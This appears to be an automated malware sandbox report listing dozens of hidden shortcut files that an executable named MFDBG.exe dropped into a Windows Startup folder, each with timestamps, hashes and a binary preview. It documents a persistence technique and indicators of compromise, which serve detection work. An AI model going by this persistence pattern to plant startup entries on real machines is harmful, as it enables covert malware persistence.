C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_10ff187488354e6a8586d97929bdf097.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:09 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925128583420144
Encrypted:	false
SSDEEP:	24:8FQBf98EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8FeCEvZ0yRO7DLO2zdxdRd1kyg
MD5:	404867014BE8D4B5BE3A817921525ECF
SHA1:	F570CDAB189D70368C019D0F0A6725CA1AD0D426
SHA-256:	171D7F70BF210603AD63F208D14C99C84C5BF8430F55B915D259C0366073471B
SHA-512:	22D9118BE3C09DFB76670318BC3A7FFC0BBA2DFF5C07FDD1E5082B9CEB7D0E3248681535D201625838F69A6FED43F4C2925F9CEDBD423F0BEADAB2F9AAE81BB7
Malicious:	false
Preview:	L..................F....".......d...+.."d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...*."d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_110ad5517e144a7e9d563e2784c75f1c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9180370247106575
Encrypted:	false
SSDEEP:	24:8oBf48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8mFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	79D27F6FF45698D4A4CC9F2D55E83103
SHA1:	E0E576E8796F6C45252824BB289ED34E585F39E9
SHA-256:	53C7AEC3A466C73F18677BD21467479CF0374413CF10801CF775C956C834C135
SHA-512:	3C1B391E138087EA61C2A93425973964ABF76B66A2083AEA89DA0D3134C59A43D20DA42CCADB6C73123C1D59DEA50861E9D012F62F2C26E04CAC2CD6498ECF04
Malicious:	false
Preview:	L..................F....".......d...oj.:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...4..:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_11799185fc1f4c72ae6760a10b880fb8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:19 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930824084254248
Encrypted:	false
SSDEEP:	24:8x2Bfh48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8ip9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	8C6274F01D0CA4EB99748818262B2ADE
SHA1:	2794D99E3473DA9D504C5456674AE6913FD45DB1
SHA-256:	9FF2C48D9B036BBA6D8A676A8B35FD3550DAE42FF2CA23B73A96720FD0EF4424
SHA-512:	57CC6782A6D97CABC5B611C11E62816497E5AC1A0DE00734D489EFF073AF5FE51841458A30E8CC82270BFAD4B2FC4461087975355DA2D70EF6BFDE2218682B9D
Malicious:	false
Preview:	L..................F....".......d......(d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....(d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_11e55ab694b84ae39d1d70d36346c7f7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:27 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930392167958501
Encrypted:	false
SSDEEP:	24:8dBfs48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8P09EvZ0yRO7DLO2zdxdRd1kyg
MD5:	5145E5A42211B859B148FA676D1E13C2
SHA1:	77A3078B7FC118F03261A29D7FC3747F5286B2DF
SHA-256:	D51B2D13AB1C94330CB0F0D16373D7C2ECA07935B42D3EDB52579C858E91089B
SHA-512:	A5E6F55458A3E6A924891728CA16AB5A54333E76683FC828F4D63E1EED0F49E2CA2AA798AED70397D5004A4BDFBB139F11CCD74E8ADB19D628D6B8F50575D62A
Malicious:	false
Preview:	L..................F....".......d...b..Qd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....\|Qd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1248f0a9b74d43e4afa62aedaa31bdc1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:10 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9283968705959555
Encrypted:	false
SSDEEP:	24:8EBf68EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8qfEvZ0yRO7DLO2zdxdRd1kyg
MD5:	EF2C13A3D143E7D23E6B2EE1A942B989
SHA1:	2A47AF929CDDB53503AFA470DAAD3AA1542DE70B
SHA-256:	BC537DB3E980FB3738DA0F8ED28A664022381DE5903945F453612B73467E846D
SHA-512:	9D53F326EFEC6B868CB35EFC36432822038B6D6F1E278576F2CC2B02A98815002677CAB38A842D0FA5478508826E1B027AFF356E5728F5CE4D16CB830C9969E6
Malicious:	false
Preview:	L..................F....".......d....j.#d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...X.#d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1268b632f8a44fa0a43a56efe8e39c7d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:53 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9193648053641095
Encrypted:	false
SSDEEP:	24:88Bf08EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8y5EvZ0yRO7DLO2zdxdRd1kyg
MD5:	FCC458A01B4F88D2758A648619B07ACE
SHA1:	41715A4C0FEFB6AE9D0301B2BF3DBE4CEC2D690F
SHA-256:	A9FF085C12CA217DE6061F17811F51AC90B8C51C96E65AD8AA9C3957F37D0866
SHA-512:	B9AE4C49A96E7DECAAED6BB542A1F1EDBB35182A6D027DCE6C030C2676A352E062940515FBB31E7EC8D3700AC9C95136E2434D1C9A173EFC67370EF0FA3FDF5E
Malicious:	false
Preview:	L..................F....".......d.....K=d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...z.D=d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_12d3601bc4e04eb2a66b725b27cb3e12.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931168013351661
Encrypted:	false
SSDEEP:	24:85QBfh8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:80OEvZ0yRO7DLO2zdxdRd1kyg
MD5:	ABB08FB1A4B817060C092764E1D31678
SHA1:	26F6239F2FD1B54752D795ECF36136BA10D63C6A
SHA-256:	3287A574FB0A44E41D4F922C4212DF4DF9EB31F5C193C4A95D3C5DA17E860D6E
SHA-512:	5DF3E4020AEA8959F8CD3234BD7E6A1563DDF6EAF8F480DAAA57F9E8B58125A7AB5BD6BBCA56E021537444DDCEF3DD7337CD8234C59EDFAE8910418A0ED3AD31
Malicious:	false
Preview:	L..................F....".......d....I.~d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...O..~d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_12ec37742f864ed480cbe9730af6e432.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:45 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.914811838094553
Encrypted:	false
SSDEEP:	24:8YrBfMYH8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8QUJEvZ0yRO7DLO2zdxdRd1kyg
MD5:	1F8D1E6B040993861A54D446FC2B2F27
SHA1:	5CA98D01A4DA8BE345331ED9E7FA603FD0F3778E
SHA-256:	65C2BFD93D7542A522DA55BBF30164441936C30F49D8390900509E64A67C6016
SHA-512:	AE14F5B2A72038FBE1B137B9595100E3CBC450E704D58F429FC14A0E6267DFADCC97DA99BA98EE75E04741F575E8169EF2F879A52B81F12744199473D7715E30
Malicious:	false
Preview:	L..................F....".......d...O.-\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_131c60e5b15e4197ac6c9d59ffc22e72.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:42 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92361390502073
Encrypted:	false
SSDEEP:	24:8xaBfo8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8KFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	4689A5C11801C8E878E0A76B4D83531C
SHA1:	427FAECAB8CA018325C653E5323C62F44E25E1D6
SHA-256:	2551A263E87BE636563FEB32C759DA66613C98927FB145F5107766C4E666C664
SHA-512:	0E75E41DFE803E00F3E3CE0B0AA346A4C132641EBFC18C665BBB4F57EF71997228BC53CE58A5158C16327375E33D87F4C6E2E9013977833FE9A5664E169573BE
Malicious:	false
Preview:	L..................F....".......d...c.T~d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....H~d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1361a9306afd4495b1706a355e9b75b1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:58 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918132315341136
Encrypted:	false
SSDEEP:	24:8iBf78EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8QQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	DA9C7A0E69707D9E91EB7CBC4CE0D001
SHA1:	0E61757CA5247843FAF06653CC20AFC0934C835F
SHA-256:	CA3BF109B224D30B2A01B25D84525A4FB80C1EC75455476C3A71F2139548FDD1
SHA-512:	E30C27BB1058BA7CF96C76E8DA3F5CEE2C0625D1DDEFD45486D846CFBB71E17BFA83C01266A147E119436317BBBEBFD06C862740E5E39356F3A5BB4A04182F02
Malicious:	false
Preview:	L..................F....".......d...6...d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...QYp.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1373f035626f48c68023adc8da133265.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:02 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925969656937661
Encrypted:	false
SSDEEP:	24:8p2Bfx+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:86tEvZ0yRO7DLO2zdxdRd1kyg
MD5:	5824E7CBCC70671CBA55D90BF599BCD0
SHA1:	BC8A62079FEEED8987A618BC7DD811092A5C0B94
SHA-256:	C59E32E669F8AE7D5AD1AA65BC81CC6F26C563F9DF68A3DD9F9B50EE83A7765A
SHA-512:	0C7E3D25A76AA54D849BBBE9BD66B820AB9110F79EF516E886FCD23477DF98274B94214D2AC0C36A15B9C5DA96B809ACC7F8F30D6AD11475ACA45F3126300F2B
Malicious:	false
Preview:	L..................F....".......d.....N.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c..../.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_13829206482944ba94f10a9207cd1486.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:30 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918256099667033
Encrypted:	false
SSDEEP:	24:8lQBfU98EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8Y5EvZ0yRO7DLO2zdxdRd1kyg
MD5:	5D5C527D37F5FD50DFBEF5F2A38F59D2
SHA1:	2559CBB48F9F5CD43AB2F07FE1DD13079F520226
SHA-256:	508C7D75DA0E62FC8A9CBCFD43ACFB3B10E40255D7BFAC0834CC6DCB8A4FE5A3
SHA-512:	569E7336D1F82B96849D286489ECA79FAFC67AA13DA29B46B0A010954F67DD0AA9BB96AA6F048E43CA9B1D63F1B8AED05507D75FE93839502F4FA4E16A18116B
Malicious:	false
Preview:	L..................F....".......d.....Sd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......Sd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_13fffdb5eac447e99773b3b45b652315.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922559844719637
Encrypted:	false
SSDEEP:	24:8aBfZ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8YWEvZ0yRO7DLO2zdxdRd1kyg
MD5:	2BD9ADBDDE908FC241A601228682A7A8
SHA1:	FB0EBB6E6F79131D1A4C7EB141A6C6432A562FD5
SHA-256:	7AD9788A82A474DD32811B50C44E66AB443ECCE91039C4CD0D30FED2C5B79701
SHA-512:	798732BE193435B805C2C45116DC61AEF9BE3AE2F5D05005FEC34B2CC24A9D001FB26E5C5E27D69E8A0D75C33543DB8981DC424569126684D86C6DC76A6EA5F2
Malicious:	false
Preview:	L..................F....".......d....@.\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

